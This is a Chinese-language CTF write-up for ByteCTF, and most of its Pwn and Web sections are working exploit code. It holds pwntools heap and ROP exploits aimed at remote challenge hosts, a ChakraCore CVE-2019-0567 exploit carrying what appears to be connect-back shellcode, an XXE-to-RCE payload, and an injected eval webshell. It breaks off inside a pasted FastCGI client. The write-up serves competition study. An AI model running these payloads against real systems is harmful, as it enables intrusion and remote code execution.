Misc
Hello Bytectf
签到~
betgame
剪刀石头布游戏,每次获胜的规则不一样但找到规律即可,3次一循环,手动打完即可。
jigsaw
一堆图拼吾王。。吾王不懂人心
最后flag,S写大了可还行
bet
区块链题目,主要利用 1 + ~0x01 会下溢这一点
- 首先profit,使balance(0x02)为 1
- Bet() 无条件使自己变为 owner
- 0xf98b23c9 使猜测的数字变为0
- 调用一次 func_0219,要猜对,使balance变为 2,同时0x04【标志位】为1
- 调用一次 func_0219,要猜错,使balance变为 1
- 调用一次 func_03F7,猜错, 使balance 下溢
- 获得flag
hf_
区块链题目,核心点依然是下溢。
- profit
- 0xbf1912bc 转账2 eth可变为owner
- 0x0f77e47d 转帐2,造成自己的balance下溢
- 获得flag
ddd
- 准备 volatility 工具套件,将官方提供的Ubuntu1604.zip放置在 volatility/volatility/plugins/overlays/linux 中,之后的操作全部选择该文件包的profile
- 使用 linux_check_syscall 检查系统调用,发现 sys_read 被 HOOK,考虑 rootkit
- linux_enumerate_files 枚举文件,发现敏感文件 /root/dddd-*.ko /root/douyinko.ko
- dddd-*.ko 文件存在,使用 linux_find_file 指定inode,dump文件,分析后发现仅仅是用于dump内存的kernel mod
- douyinko.ko 已被删除,无inode信息,无法直接使用 linux_find_file dump该文件,linux_moddump总是卡死,不知道为什么
- linux_pslist 查看进程,发现两个 sftp-server
- 使用 linux_proc_maps -p 指定 sftp,查看进程内存地址信息
- 再使用 linux_dump_map -p 2777 -s 内存地址,dump sftp-server的堆区域
- 分析堆区域的数据,发现缓存的完整 ELF 文件,为douyinko.ko
- 准备Ubuntu16.04虚拟机,降级内核至4.4.0-131
- 将导出的douyinko.ko切割到正确大小之后,insmod douyinko.ko 加载该内核
- 新建一个文件,内容为 emm....Can you find flag? (最后需要跟一个换行符或者空格,否则长度刚刚好不够用,无法通过检查)
- 使用 cc1 或 cat 或 vim 或 vi 读取新建的文件,获得最终的flag
Crypto
lrlr
大概是四步
- 随机数还原,得到之后代码生成的所有 getrandbits
- 逆向lrand算法,得到 self.states
- 得到 self.states,就是c_list,最大剩余定理得到 m**17,开17得到结果
- 从seed 还原得到 flag
随机数
def oldtest():
f=open("old","wb")
s=""
for i in range(1000):
s+=str(random.getrandbits(32))+"\n"
f.write(s)
可从 old 文件中取得前 1000 组 randbits
以 624 组计算得初始向量从而可以推算后续所有 randbits 方法得到值
抄个程序生成 1000 组 32bit 后面的 72 组 128bit 值
reference https://www.anquanke.com/post/id/158894?tdsourcetag=s_pcqq_aiomsg#h2-3
# step2 get c_list
def state_reverse(state, key):
key = long_to_bytes(key)
handle = AES.new(key, AES.MODE_CBC, "\x00"*16)
output = handle.decrypt(long_to_bytes(state))
return bytes_to_long(output)
random_list = open('p_random_128_hex.txt','r').read().strip().split('\n')
random_list = [int(op.strip('L'),16) for op in random_list]
'''
use_list = []
for kk in range(80):
num = 0
for _ in range(4):
num = num << 32
num += random_list[kk*4 + 3 - _]
use_list.append(num)
random_list = use_list
# 读取随机数
'''
l_result = open('new','r').read().strip().split('\n')
l_result = [int(op.strip('L'),16) for op in l_result]
assert len(l_result) == 24
state = [0 for _ in range(48)]
old_state = []
for op in range(24):
old_state.append(state_reverse(l_result[op],random_list[48+op]))
# 再逆向 gen_new_states,新的states根据老states生成的
for op in range(24):
state[op] = state_reverse(old_state[op], random_list[24+op])
# print state[:24]
c_list = []
for op in range(24):
c_list.append(state[op])
# step3
n_list = open('cl','r').read().split('\n')[:-1]
n_list = [int(op.strip('L'),16) for op in n_list]
assert len(n_list) == len(c_list)
def egcd(a, b):
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def chinese_remainder(pairs):
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
params = []
for op in range(24):
params.append([n_list[op],c_list[op]])
k = chinese_remainder(params)
print gmpy2.iroot(k,17)
init_state = gmpy2.iroot(k,17)[1]
得到的init_state,反复使用原函数加密即可得到flag
# coding:utf-8
from z3 import *
from Crypto.Util.number import *
num = 61406796444626535559771097418338494728649815464609781204026855332620301752444
def generate_init_state(seed):
a = 0
for i in bin(seed)[2:]:
a = a << 1
if (int(i)):
a = a ^ seed
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223
#print 'a(init_state)',a
return a
for i in range(10000000):
num = generate_init_state(num)
tmp = long_to_bytes(num)
if 'flag' in tmp or 'byte' in tmp:
print tmp
Re
驱动逆向
题目中指定了CPU为FakeIntel。同时又给定了长度为0x10的key
将上述数据分别赋值到0x140006070和0x14006890处。
使用peloader加载程序执行解密逻辑即可得到flag
bytectf{d0f20eff6fc4f6060776c8ca63319a1e}
Pwn
ezarch
和拟态防御的simplevm类似的虚拟机题目。本题在运行自定义opcode的时候对ebp进行检查时,使用了错误的参数,导致ebp可以越界读写,从而修改结构体中保存的虚拟栈基地址,进而劫持got表。
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def memory_set(p, size, payload, eip, esp, ebp):
p.sendlineafter('>', 'M')
p.sendlineafter('size>', str(size))
p.sendlineafter('size>', str(len(payload)))
p.sendlineafter(')', payload)
p.sendlineafter('eip>', str(eip))
p.sendlineafter('esp>', str(esp))
p.sendlineafter('ebp>', str(ebp))
def run(p):
p.sendlineafter('>', 'R')
DEBUG = False
#p = process('ezarch')
p = remote('112.126.102.73', 9999)
if DEBUG:
gdb.attach(p)
# get heap addr(r14 r15) and elf addr(r12 r13)
payload = '/bin/sh\x00'
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xF) + p32(0) # pop [esp] => r15
payload += '\x01\x10' + p32(0) + p32(0x1004) # add 0x1004 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xE) + p32(0) # pop [esp] => r14
payload += '\x02\x10' + p32(0) + p32(0x1004) # sub 0x1004 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xD) + p32(0) # pop [esp] => r13
payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x100C) # add 0x100C => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xC) + p32(0) # pop [esp] => r12
payload += '\x02\x10' + p32(0) + p32(0x100C) # sub 0x100C => r0 ; set r0 to 0
# change stack base
payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x00' + p32(1) + p32(13) # mov r13 => r1
payload += '\x02\x10' + p32(1) + p32(0xa8) # sub 0xa8 => r1 ; free@got
payload += '\x03\x02' + p32(17) + p32(1) # mov r1 => [ebp]
# get libc r10,r11
payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x30) # add 0x30 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x01\x10' + p32(2) + p32(0x400) # sub 0x400 => r2
payload += '\x03\x00' + p32(16) + p32(2) # mov r2 => esp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(11) + p32(0) # pop [esp] => r11
payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x34
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(10) + p32(0) # pop [esp] => r10
# get system
payload += '\x02\x10' + p32(11) + p32(0x47c30) # sub 0x47c30 => r11 ; r11 <= system low 32 bit addr
# change free@got
payload += '\x02\x10' + p32(0) + p32(0x34) # sub 0x34 => r0 ; set r0 to 0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x0 <= free@got
payload += '\x03\x02' + p32(17) + p32(11) # mov r11 => [ebp]
payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x4
payload += '\x03\x02' + p32(17) + p32(10) # mov r10 => [ebp]
payload += '\xFF'
memory_set(p, 0x4010, payload, 8, 0x10, 0x1000)
run(p)
p.sendlineafter('>', 'M')
p.sendlineafter('size>', str(20))
#bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}
p.interactive()
p.close()
mulnote
程序应该算加了混淆?但是还是很容易就能看清楚程序在做什么。漏洞在free的时候,thread中sleep后清空bss上的chunk地址,导致UAF。
from pwn import *
def add(p, size, content):
p.sendlineafter('>', 'C')
p.sendlineafter('size>', str(size))
p.sendafter('note>', content)
def delete(p, idx):
p.sendlineafter('>', 'R')
p.sendlineafter('index>', str(idx))
def show(p):
p.sendlineafter('>', 'S')
def edit(p, idx, content):
p.sendlineafter('>', 'E')
p.sendlineafter('index>', str(idx))
p.sendafter('new note>', content)
def pwn():
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./mulnote')
if DEBUG:
p = process('./mulnote')
else:
p = remote('112.126.101.96', 9999)
if DEBUG:
gdb.attach(p)
add(p, 0x98, 'sunichi') #0
add(p, 0x68, 'sunichi') #1
add(p, 0x68, 'sunichi') #2
delete(p, 0)
show(p)
p.recvuntil('[*]note[0]:\n')
recv = p.recv(6) + '\x00\x00'
libc.address = u64(recv) - (0x7fc642ab9b78 - 0x00007fc6426f5000)
delete(p, 1)
delete(p, 2)
edit(p, 2, p64(libc.symbols['__malloc_hook'] - 0x23))
add(p, 0x68, 'sunichi')
add(p, 0x68, '\x00\x00\x00' + p64(0) + p64(libc.address + 0xf02a4) + p64(libc.symbols['realloc']))
sleep(15)
p.sendlineafter('>', 'C')
p.sendlineafter('size>', str(32))
#bytectf{4f10583325b7a40ecd770dbb6fd54d59}
print hex(libc.address)
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
vip
设置prctl的时候有栈溢出,通过栈溢出修改prctl的规则,使得open(urandom)的时候返回0从而绕过限制。最后做ROP进行orw就可以读出flag了。
from pwn import *
def add(p, idx):
p.sendlineafter('Your choice: ', str(1))
p.sendlineafter('Index: ', str(idx))
def show(p, idx):
p.sendlineafter('Your choice: ', str(2))
p.sendlineafter('Index: ', str(idx))
def delete(p, idx):
p.sendlineafter('Your choice: ', str(3))
p.sendlineafter('Index: ', str(idx))
def edit(p, idx, size, content=''):
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
if content == '':
return
p.send(content)
def disable_sandbox(p):
payload = '\x00' * 0x20
payload += '\x20\x00\x00\x00\x00\x00\x00\x00'
payload += '\x15\x00\x01\x00\x01\x01\x00\x00'
payload += '\x06\x00\x00\x00\x00\x00\xFF\x7F'
payload += '\x06\x00\x00\x00\x00\x00\x05\x00'
p.sendlineafter('Your choice: ', str(6))
p.sendafter('please tell us your name: \n', payload)
def pwn():
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vip')
if DEBUG:
p = process('./vip')
else:
p = remote('112.126.103.14', 9999)
if DEBUG:
gdb.attach(p)
context.log_level = 'debug'
disable_sandbox(p)
add(p, 0)
add(p, 1)
delete(p, 1)
payload = 'a' * 0x58 + p64(0x61) + p64(0x404100)
edit(p, 0, len(payload), payload)
add(p, 2)
edit(p, 2, len('./flag\x00'), './flag\x00') #heapaddr
add(p, 3)
payload = p64(0x404108) + p64(elf.got['puts'])
edit(p, 3, len(payload), payload)
show(p, 1)
libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
payload = p64(libc.symbols['__environ'])
edit(p, 0, len(payload), payload)
show(p, 1)
stack_addr = u64(p.recv(6) + '\x00\x00')
payload = p64(0x404110)
edit(p, 0, len(payload), payload)
show(p, 1)
heap_addr = u64(p.recvuntil('\nDone', drop=True).ljust(8, '\x00'))
ret_rop = stack_addr - (0x7ffc05877e58 - 0x7ffc05877d68)
edit(p, 0, len(payload), p64(ret_rop))
pop_rdi_ret = 0x00000000004018fb
pop_rsi_r15_ret = 0x00000000004018f9
pop_rdx_ret = libc.address + 0x0000000000001b96
syscall_ret = libc.address + 0x00000000000d2975
pop_rax_ret = libc.address + 0x00000000000439c8
leave_ret = 0x0000000000401445
pop_rbp_ret = 0x00000000004011d9
rop = p64(pop_rdi_ret) + p64(heap_addr)
rop += p64(pop_rsi_r15_ret) + p64(0x0) + p64(0)
rop += p64(pop_rdx_ret) + p64(0)
rop += p64(pop_rax_ret) + p64(2)
rop += p64(syscall_ret)
rop += p64(pop_rdi_ret) + p64(3)
rop += p64(pop_rsi_r15_ret) + p64(0x00404800) + p64(0)
rop += p64(pop_rdx_ret) + p64(0x100)
rop += p64(elf.plt['read'])
rop += p64(pop_rdi_ret) + p64(0x00404800)
rop += p64(elf.plt['puts'])
rop += p64(0xdeadbeef)
edit(p, 1, len(rop), rop)
p.sendlineafter('Your choice: ', str(5))
print hex(heap_addr)
print hex(ret_rop)
print hex(libc.address)
p.interactive()
p.close()
return 1
#bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}
if __name__ == '__main__':
pwn()
'''
0x00000000004018f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f8 : pop r14 ; pop r15 ; ret
0x00000000004018fa : pop r15 ; ret
0x00000000004018f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f7 : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011d9 : pop rbp ; ret
0x00000000004018fb : pop rdi ; ret
0x00000000004018f9 : pop rsi ; pop r15 ; ret
0x00000000004018f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401401 : ret 0x2be
0x0000000000401072 : ret 0x2f
0x00000000004012a2 : ret 0xc604
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
'''
mheap
read函数返回值检查的bug,导致向前溢出。
from pwn import *
def add(p, idx, size, content):
p.sendlineafter('Your choice: ', str(1))
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('size: ', str(size))
if size == len(content):
p.sendafter('Content: ', content)
else:
p.sendlineafter('Content: ', content)
def show(p, idx):
p.sendlineafter('Your choice: ', str(2))
p.sendlineafter('Index: ', str(idx))
def delete(p, idx):
p.sendlineafter('Your choice: ', str(3))
p.sendlineafter('Index: ', str(idx))
def edit(p, idx, content):
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(idx))
p.send(content)
def pwn():
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./mheap')
if DEBUG:
p = process('./mheap')
else:
p = remote('112.126.98.5', 9999)
if DEBUG:
gdb.attach(p)
add(p, 0, 0x1000 - 0x40 - 0x20, 'sunichi') #1
add(p, 1, 0x10, 'sunichi') #2
add(p, 2, 0x10, 'sunichi!' * 2) #3
delete(p, 1) #4
delete(p, 2) #5
p.sendlineafter('Your choice: ', str(1)) #6
p.sendlineafter('Index: ', str(15))
p.sendlineafter('size: ', str(0x60))
payload = p64(0x20) + p64(0x4040cb) + p64(0) * 2 + p64(0x70) + p64(0)[:7] + '\n'
p.sendafter('Content: ', payload)
add(p, 1, 0x10, '/bin/sh\x00') #7
payload = 'a' * 5 + p64(elf.got['puts'])
add(p, 14, 0x10, payload) #8
show(p, 0)
libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(0))
p.send(p64(libc.address + 0x4f322))
p.sendline('sunichi')
p.sendline('cat flag')
print hex(libc.address)
p.interactive()
p.close()
#bytectf{34f7e6dd6acf03192d82f0337c8c54ba}
if __name__ == '__main__':
pwn()
notefive
程序没有输出,存在off-by-one漏洞,限制了分配的chunk的大小,导致不能采用0x7f作为fastbin的size。利用off-by-one造成堆块重叠,unsorted bin attack
修改global_max_fast
。之后几乎所有的chunk都属于fastbin的范围内,利用stderror结构体flag字段的0xfb作为chunk的size,可在stdout附近布置好合适的size,再次fastbin attack可以完全控制stdout,泄露libc地址以及修改vtable来getshell
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
def add(p,idx,size):
sla(p,'choice>> ',str(1))
sla(p,'idx: ',str(idx))
sla(p,'size: ',str(size))
def edit(p,idx,content):
sla(p,'choice>> ',str(2))
sla(p,'idx: ',str(idx))
sa(p,'content: ',content)
def delete(p,idx):
sla(p,'choice>> ',str(3))
sla(p,'idx: ',str(idx))
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
BIN_PATH = './note_five'
elf = ELF(BIN_PATH)
context.terminal = ['tmux', 'split', '-h']
def pwn():
if DEBUG == 1:
p = process(BIN_PATH)
context.log_level = 'debug'
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('112.126.103.195', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
# 0x555555554000
# global_max_fast 0x7ffff7dd37f8
# unsortedbin 0x7ffff7dd1b78
# stdout 0x7ffff7dd2620
# addr 0x7ffff7dd37e8
# free_hook 0x7ffff7dd37a8
# malloc_hook 0x7ffff7dd1b10
# IO_list_all 0x7ffff7dd2520
add(p,0,0xf8)
add(p,1,0xf8)
add(p,2,0xf8)
add(p,3,0xf8)
add(p,4,0xf8)
# overlap
delete(p,0)
data = '\x00'*0xf0+p64(0x300)+'\x00'
edit(p,2,data)
delete(p,3)
add(p,0,0xe0) #0
add(p,0,0x100)#0 overlap 1
payload = p64(0)+'\xe8\x37\n'
edit(p,2,payload)
add(p,3,0x1f0) #3=2
data = p64(0)+p64(0xf1)+'\x00'*0xe0+p64(0)+p64(0x21)+'\n'
edit(p,0,data)
delete(p,1)
data = p64(0)+p64(0xf1)+'\x3b\x25\n'
edit(p,0,data)
add(p,1,0xe8)
add(p,4,0xe8)
payload = '\x00'*(0xe0-11-8)+p64(0x101)+p64(0xfbad1800)+'\n'
edit(p,4,payload)
edit(p,0,p64(0)+p64(0x101)+'\n')
delete(p,1)
data = p64(0)+p64(0x101)+'\x10\x26\n'
edit(p,0,data)
add(p,1,0xf8)
add(p,4,0xf8)
payload = p64(0xfbad1800)+p64(0)*3+'\x00\n'
edit(p,4,payload)
ru(p,'\x00\x18\xad\xfb')
rn(p,28)
libc_addr = u64(rn(p,8))
log.info('libc addr: '+hex(libc_addr))
libc_base = libc_addr-(0x7ffff7dd2600-0x7ffff7a0d000)
log.info('libc base: '+hex(libc_base))
libc.address = libc_base
stdout = libc_base+(0x00007ffff7dd2620-0x7ffff7a0d000)
one_gadget = 0xf1147
fake_file = p64(0xfbad2887)+p64(libc.sym['_IO_2_1_stdout_']+131)*7+p64(libc.sym['_IO_2_1_stdout_']+132)
fake_file += p64(0)*4+p64(libc.sym['_IO_2_1_stdin_'])+p64(1)+p64(0xffffffffffffffff)+p64(0x000000000b000000)+p64(libc.address+(0x7ffff7dd3780-0x7ffff7a0d000))
fake_file += p64(0xffffffffffffffff)+p64(0)+p64(libc.address+(0x7ffff7dd17a0-0x7ffff7a0d000))+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2
fake_file += p64(stdout+0xd8-0x30)+p64(libc_base+one_gadget)*2+'\n'
if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0xecd
b *0x555555554000+0xb72
''')
edit(p,4,fake_file)
p.interactive()
if __name__ == '__main__':
pwn()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
childjs
Patch 复现了 chakracore 引擎的 JIT 漏洞 CVE-2019-0567,忽略 InitProto opcode 的 side effect,导致 JIT 无法正确的识别处理 InitProto 时的类型变化,导致 Type Confusion。Exploit 使用了 Obj -> Dataview -> Dataview 的内存布局来实现 Arbitrary R/W,最终通过覆写 memmove 的 got 地址为shellcode来 getshell
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
dv2.setUint32(0, 0xdead,true);
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, proto, value){
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj);
o.c = dv1
obj.h = dv2;
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
let libc_addr = vtable_lo + vtable_hi * BASE
let libc_base = libc_addr-(0x7ffff47cc6e0-0x00007ffff39c8000)
// let memove_got_addr = libc_base+0xe38128
let memove_got_addr = libc_base+0xe53108
print("[+] dv2.vtable pointer: "+hex(vtable_lo + vtable_hi * BASE));
print("[+] libc base: "+hex(libc_base));
print("[+] memmove got addr: "+hex(memove_got_addr));
//get dv2 buffer poointer
buf_lo=dv1.getUint32(0x38,true)
buf_hi=dv1.getUint32(0x3C,true)
let shelladdr = buf_lo + buf_hi * BASE
let shellbase = shelladdr-(0x555555847360-0x00005555557d0000)
// read first vtable entry using the R\W primitive
print("[+] dv2.vtable content: "+hex(shelladdr));
print("[+] shellbase: "+hex(shellbase))
print("[+] dv2.buffer pointer: "+hex(libc_addr));
// [+] dv2.vtable pointer: 0x7ffff49e95e0
// [+] dv2.buffer pointer: 0x555555847360
// [+] dv2.vtable content: 0x7ffef3d9a8e0
// read first vtable entry using the R\W primitive
print("[+] dv2.buffer content: "+hex(read64(buf_lo, buf_hi)));
// write memove got
// var shellcode = [0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x894856e6,0x6ad231e6,0x50f583b];
var shellcode = [0x9958296a,0x6a5f026a,0x50f5e01,0xb9489748,0x8520002,0xbc9ae168,0xe6894851,0x6a5a106a,0x50f582a,0x485e036a,0x216aceff,0x75050f58,0x583b6af6,0x2fbb4899,0x2f6e6962,0x53006873,0x52e78948,0xe6894857,0x50f];
print("shellcode len"+hex(shellcode.length));
// print("[+] shellcode: "+hex(shellcode[0]));
let offset = 0x400
for (var i = 0; i < shellcode.length/2+1; ++i) {
if(i*2+1>shellcode.length)
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],0xdeadbeef);
else
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],shellcode[i*2+1]);
}
write64(vtable_lo+0x4ea28,vtable_hi,buf_lo+offset,buf_hi)
// trigger
var target = new Uint8Array(0x1234);
var bb = new Uint8Array(10);
target.set(bb);
}
main();
Web
首先先注册一个**baidu.com
的域名,来绕过下面几个题的一些问题。
rss
通过访问**baidu.com/1.txt
来进行XXE,读取源码。
之后构造,进行SSRF,在$_GET['order']='title,"1")&&phpinfo()&&strcmp($a->title';
RCE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://是IP/file/example&order=%74%69%74%6c%65%2c%22%31%22%29%26%26%73%79%73%74%65%6d%28%27%63%61%74%20%2f%66%6c%61%67%5f%65%62%38%62%61%32%65%62%30%37%37%30%32%65%36%39%39%36%33%61%37%64%36%61%62%38%36%36%39%31%33%34%27%29%26%26%73%74%72%63%6d%70%28%24%61%2d%3e%74%69%74%6c%65" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
babyblog
存在二次注入
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}
先通过堆叠注入,insert一个VIP
使用insert users set username='xxx'....
绕过
之后在使用replace.php的preg_replace 用/e RCE
其中使用mitmproxy做中间件,解决antword链接问题
from mitmproxy import http
def request(flow):
flow.request.urlencoded_form["find"] = "/e\x00"
flow.request.urlencoded_form["replace"] = "ob_end_clean()&&eval($_POST['a'])&&ob_end_clean()"
flow.request.urlencoded_form["regex"] = "1"
flow.request.urlencoded_form["id"] = "21"
之后
putenv LD_PRELOAD
error_log
fpm绕过basedir // 这个居然没绕过disable_function神奇
<?php
/*
* This file is part of PHP-FastCGI-Client.
*
* (c) Pierrick Charron <pierrick@adoy.net>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
namespace Adoy\FastCGI;
class TimedOutException extends \Exception {}
class ForbiddenException extends \Exception {}
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@adoy.net>
* @version 1.0.0
*/
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
